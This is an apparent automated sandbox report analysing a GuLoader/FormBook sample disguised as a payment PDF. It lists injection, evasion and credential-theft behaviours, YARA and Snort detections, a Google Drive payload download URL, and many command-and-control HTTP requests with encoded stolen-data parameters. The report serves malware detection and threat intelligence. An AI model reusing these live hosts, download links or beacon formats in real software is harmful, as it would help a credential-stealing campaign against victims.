Edit tour

Windows Analysis Report
PAYNOW_2023_08_002783pdf.exe

Overview

General Information

Sample Name:	PAYNOW_2023_08_002783pdf.exe
Analysis ID:	1299767
MD5:	96bedaad0d23cc93d7133f9edbd697fe
SHA1:	aa06241be0f340a6688c15b3502e8067f7c1c6c5
SHA256:	9f1b36eff35c63045e9002aaf8b5d388b569607d15e7e3abe0bd9d28197c4155
Infos:

Detection

FormBook, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Yara detected GuLoader

Snort IDS alert for network traffic

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Writes to foreign memory regions

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Performs DNS queries to domains with low reputation

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Uses ipconfig to lookup or modify the Windows network settings

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Checks if the current process is being debugged

PE / OLE file has an invalid certificate

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64native

PAYNOW_2023_08_002783pdf.exe (PID: 7016 cmdline: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe MD5: 96BEDAAD0D23CC93D7133F9EDBD697FE)

PAYNOW_2023_08_002783pdf.exe (PID: 7664 cmdline: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe MD5: 96BEDAAD0D23CC93D7133F9EDBD697FE)

lzttCsgdUUaPRcRtGYKMQEk.exe (PID: 5608 cmdline: "C:\Program Files (x86)\stTISPAufBYYzAhSmDOuibRKITHPhLnmXtSKhHQTqunZOWljVritEbCaVKRaRdieNBfNGWXCJ\lzttCsgdUUaPRcRtGYKMQEk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

ipconfig.exe (PID: 6480 cmdline: C:\Windows\SysWOW64\ipconfig.exe MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

lzttCsgdUUaPRcRtGYKMQEk.exe (PID: 1948 cmdline: "C:\Program Files (x86)\stTISPAufBYYzAhSmDOuibRKITHPhLnmXtSKhHQTqunZOWljVritEbCaVKRaRdieNBfNGWXCJ\lzttCsgdUUaPRcRtGYKMQEk.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

explorer.exe (PID: 5324 cmdline: C:\Windows\Explorer.EXE MD5: 5EA66FF5AE5612F921BC9DA23BAC95F7)

firefox.exe (PID: 4812 cmdline: C:\Program Files\Mozilla Firefox\Firefox.exe MD5: FA9F4FC5D7ECAB5A20BF7A9D1251C851)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://asec.ahnlab.com/en/32149/ https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/ https://blog.malwarebytes.com/scams/2020/08/sba-phishing-scams-from-malware-to-advanced-social-engineering/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.93118623903.0000000002AA0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.93118623903.0000000002AA0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x21d40:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xcc6f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000A.00000002.93119622850.00000000006F0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.93119622850.00000000006F0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x4bd40:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x36c6f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000008.00000002.93121071460.0000000001040000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.93121071460.0000000001040000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2cd40:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x17c6f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000006.00000002.88685895832.00000000000E0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.88685895832.00000000000E0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2cd40:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x17c6f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000009.00000002.93128647059.0000000003000000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.93128647059.0000000003000000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x21d40:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xcc6f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000006.00000002.88685552371.00000000000A0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.88685552371.00000000000A0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x21d40:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xcc6f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000009.00000002.93129712517.0000000003040000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.93129712517.0000000003040000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x21d40:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xcc6f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000004.00000002.88593086114.00000000059AC000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Click to see the 10 entries

Snort Signatures

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 162.0.239.145

Timestamp:	192.168.11.20162.0.239.14549992802844299 08/29/23-22:44:58.349228
SID:	2844299
Source Port:	49992
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query to a *.top domain - Likely Hostile - Source IP: 192.168.11.20 - Destination IP: 1.1.1.1

Timestamp:	192.168.11.201.1.1.152617532023883 08/29/23-22:44:20.263657
SID:	2023883
Source Port:	52617
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 43.154.67.170

Timestamp:	192.168.11.2043.154.67.17050013802844299 08/29/23-22:46:21.289633
SID:	2844299
Source Port:	50013
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 91.189.114.27

Timestamp:	192.168.11.2091.189.114.2750006802844299 08/29/23-22:45:54.815557
SID:	2844299
Source Port:	50006
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query to a *.top domain - Likely Hostile - Source IP: 192.168.11.20 - Destination IP: 1.1.1.1

Timestamp:	192.168.11.201.1.1.151674532023883 08/29/23-22:45:23.372118
SID:	2023883
Source Port:	51674
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 96.44.182.131

Timestamp:	192.168.11.2096.44.182.13149986802844299 08/29/23-22:44:39.530811
SID:	2844299
Source Port:	49986
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 169.150.247.39

Timestamp:	192.168.11.20169.150.247.3950001802844299 08/29/23-22:45:39.379006
SID:	2844299
Source Port:	50001
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 119.18.54.51

Timestamp:	192.168.11.20119.18.54.5150008802844299 08/29/23-22:46:02.907436
SID:	2844299
Source Port:	50008
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 107.148.17.67

Timestamp:	192.168.11.20107.148.17.6749984802844299 08/29/23-22:44:21.313042
SID:	2844299
Source Port:	49984
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 162.0.239.145

Timestamp:	192.168.11.20162.0.239.14549989802844299 08/29/23-22:44:50.239156
SID:	2844299
Source Port:	49989
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 91.189.114.27

Timestamp:	192.168.11.2091.189.114.2750004802844299 08/29/23-22:45:49.687566
SID:	2844299
Source Port:	50004
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 162.0.239.145

Timestamp:	192.168.11.20162.0.239.14549990802844299 08/29/23-22:44:52.945443
SID:	2844299
Source Port:	49990
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 169.150.247.39

Timestamp:	192.168.11.20169.150.247.3950003802844299 08/29/23-22:45:44.440602
SID:	2844299
Source Port:	50003
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 91.189.114.27

Timestamp:	192.168.11.2091.189.114.2750007802844299 08/29/23-22:45:57.377082
SID:	2844299
Source Port:	50007
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 96.44.182.131

Timestamp:	192.168.11.2096.44.182.13149988802844299 08/29/23-22:44:44.874482
SID:	2844299
Source Port:	49988
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 43.154.67.170

Timestamp:	192.168.11.2043.154.67.17050015802844299 08/29/23-22:46:26.820148
SID:	2844299
Source Port:	50015
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 96.44.182.131

Timestamp:	192.168.11.2096.44.182.13149985802844299 08/29/23-22:44:36.854685
SID:	2844299
Source Port:	49985
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 37.140.192.187

Timestamp:	192.168.11.2037.140.192.18750020802844299 08/29/23-22:46:46.411426
SID:	2844299
Source Port:	50020
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 169.150.247.39

Timestamp:	192.168.11.20169.150.247.3950000802844299 08/29/23-22:45:36.842368
SID:	2844299
Source Port:	50000
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 119.18.54.51

Timestamp:	192.168.11.20119.18.54.5150009802844299 08/29/23-22:46:05.552243
SID:	2844299
Source Port:	50009
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 51.79.96.115

Timestamp:	192.168.11.2051.79.96.11549997802844299 08/29/23-22:45:26.451440
SID:	2844299
Source Port:	49997
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 119.18.54.51

Timestamp:	192.168.11.20119.18.54.5150011802844299 08/29/23-22:46:10.860228
SID:	2844299
Source Port:	50011
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 43.154.67.170

Timestamp:	192.168.11.2043.154.67.17050012802844299 08/29/23-22:46:18.530131
SID:	2844299
Source Port:	50012
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 164.88.252.122

Timestamp:	192.168.11.20164.88.252.12250017802844299 08/29/23-22:46:35.359432
SID:	2844299
Source Port:	50017
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 91.189.114.27

Timestamp:	192.168.11.2091.189.114.2750005802844299 08/29/23-22:45:52.253310
SID:	2844299
Source Port:	50005
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 164.88.252.122

Timestamp:	192.168.11.20164.88.252.12250016802844299 08/29/23-22:46:32.642566
SID:	2844299
Source Port:	50016
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 51.79.96.115

Timestamp:	192.168.11.2051.79.96.11549996802844299 08/29/23-22:45:23.839294
SID:	2844299
Source Port:	49996
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 51.79.96.115

Timestamp:	192.168.11.2051.79.96.11549999802844299 08/29/23-22:45:31.699499
SID:	2844299
Source Port:	49999
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MSIL/Juliens Botnet User-Agent - Source IP: 192.168.11.20 - Destination IP: 164.88.252.122

Timestamp:	192.168.11.20164.88.252.12250019802844299 08/29/23-22:46:40.805912
SID:	2844299
Source Port:	50019
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /aw8o/ HTTP/1.1Host: www.handsome-sex.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brOrigin: http://www.handsome-sex.comReferer: http://www.handsome-sex.com/aw8o/Connection: closeContent-Length: 187Content-Type: application/x-www-form-urlencodedCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like GeckoData Raw: 35 4e 61 67 30 64 3d 77 78 6d 35 47 4f 41 34 65 4e 6b 78 68 75 5a 62 62 6b 4b 58 4d 59 38 42 33 34 49 6c 56 32 42 79 7a 61 41 75 7a 6e 61 6a 53 50 74 7a 6b 76 65 58 74 6e 32 5a 7a 6a 66 61 43 6a 73 39 54 39 68 5a 59 58 71 53 5a 4a 44 4f 78 34 69 66 41 77 4f 55 50 2b 52 31 62 4c 38 51 53 4e 43 42 72 32 43 71 74 55 45 6a 61 36 54 72 4f 6b 58 47 79 41 4c 65 71 71 68 78 73 64 49 72 4d 7a 70 49 52 62 50 65 4f 6b 64 54 70 6a 41 65 44 54 42 38 56 7a 4d 66 67 42 39 68 64 55 32 47 33 30 32 72 31 57 78 4c 30 69 39 64 2b 79 74 69 32 64 4d 6e 75 51 49 39 46 77 3d 3d Data Ascii: 5Nag0d=wxm5GOA4eNkxhuZbbkKXMY8B34IlV2ByzaAuznajSPtzkveXtn2ZzjfaCjs9T9hZYXqSZJDOx4ifAwOUP+R1bL8QSNCBr2CqtUEja6TrOkXGyALeqqhxsdIrMzpIRbPeOkdTpjAeDTB8VzMfgB9hdU2G302r1WxL0i9d+yti2dMnuQI9Fw==

Source: unknown

DNS traffic detected: queries for: drive.google.com

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1fayl07woraJr0TR9XXo8cS5umDc-PpmU HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/3mmtd7lca5re9et6nac4aq1b2c22o1cs/1693341750000/10873453270860308796/*/1fayl07woraJr0TR9XXo8cS5umDc-PpmU?e=download&uuid=8d8141af-0f63-4ded-a808-c182721a055e HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Cache-Control: no-cacheHost: doc-00-7o-docs.googleusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=UdSYgafQlh0t2NPJFWsJTuyq7bpxDbJ0k4ok7GV9MtKriqrdB2GNDlXOyj3801N/gTxArORLFOT1XOkGkvvmtP3cZGRd+UEGYg==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.kepaoqin.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=9zOZF6sYY9k/tdVrbXWkN8sA2agMahsOyqxI7TXZC8QU+v+BgRTEySnaHWgeO9Bnd0OQd62k8t+QBgqfLMlzOLISTcCK1ibTiw==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.handsome-sex.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=4wyyFbo3wf4GPkojX9lv2Hi85TpF3a9bJFCVb7ujVjad/QnKgAM8Rmx0lfLSMwhbZvHAQ1fpLn066tx6/q5vMcOgf2mjw6QkIA==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.sonokmall.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=1Jf62kTrmMrtvW9nTGcQzL1qxjpfbwlqHSE5+yviuOiwQb8X0elvNWjLUSKlufaHfU8RKiOE6AarqIMWhrvJVzj6gCO1stp4zw==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.wolfcapital.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=JwP18BaQn2gAMbwzAk/tzHq1rHqPkgowxzXz/N2AVg5llpqPoDBUT4Fbw9qJesVKC8w5QoNuWE8SYi183Rf2cdVRH8sDFcjA1Q==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.openlend.latAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=csQIKxSiAps2oY2HkWP4m2UAXHoJbYdtF0OMXDtSslnXYUx4jfx20xSs5MiYBfJn4Wt0LZQ+kGwlvq1TpxG6ruHpMlvoexuWNA==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.legalinmedia.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=JHyqG6c0VkX+12EdRRnMiv591CJu3XVJOhv6jqyuy3yB/QILPRQMYUaLAuC7PLR0Wsfx0havIXAbx1R+v/HWlYVUV6jOtwoJGQ==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.ladakhzesmo.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=UlesByQg80m2WU0HDzVqUrsp1T02gVtkfCYiA++RXBnPIn/5M6wMAOepf8n8DD5LZF3oeyXHwwFgl9CxkHjE1ZdlQoQaBX7voA==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.fgnvcmef.clickAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=P9HCUXaAtiQA1IUHrdj568qn2J4VZTbaJLJ4HjZJ2bXRJ49evu27iYt0AAEF/8+Qg/+K9eznhDIT37Q75CWHf/bcv/JSZ786mw==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.jzakmrs.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=Z2SlshpjDmCLPst06Qi+JFXKDGQYf8gROk5BMlMdRNl1FjrvM4bV9ulbwCJKqwnS3126m2Ov8Vo6zIoHm7sQKyRsJClYwnnytw==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.makeinai.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=GBOw3tITmfDYzPv1Gplg/OBQ6u+M49Yd381yHdPnhZfF1keMrdAtO6STXIkAR++l8WXoCS7jpfWLq35hpjVKbHNe3A10AVq0Vg==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.americanpawnstar.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=Bu9rsUfFrBNfdaibVYtFW7S0SScHak4IRqr9Sy3ot/y8SYQ9wjnqOPBPIX/s5SgZ07pg2XMnJ2Em61db8UciwuXjbw/TIizi5g==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.wobita.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=TR7PSkD0vDwdj3CeOnoWOoBm+B4Hw+Qf0rNh3SXQ1w792IIo5+7J+9OXKAft2cnLXHeiUPcsWfovdl8p2mX3E4p2KB72Rl4JMA==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.ishikorori.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=UdSYgafQlh0t2NPJFWsJTuyq7bpxDbJ0k4ok7GV9MtKriqrdB2GNDlXOyj3801N/gTxArORLFOT1XOkGkvvmtP3cZGRd+UEGYg==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.kepaoqin.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=9zOZF6sYY9k/tdVrbXWkN8sA2agMahsOyqxI7TXZC8QU+v+BgRTEySnaHWgeO9Bnd0OQd62k8t+QBgqfLMlzOLISTcCK1ibTiw==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.handsome-sex.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
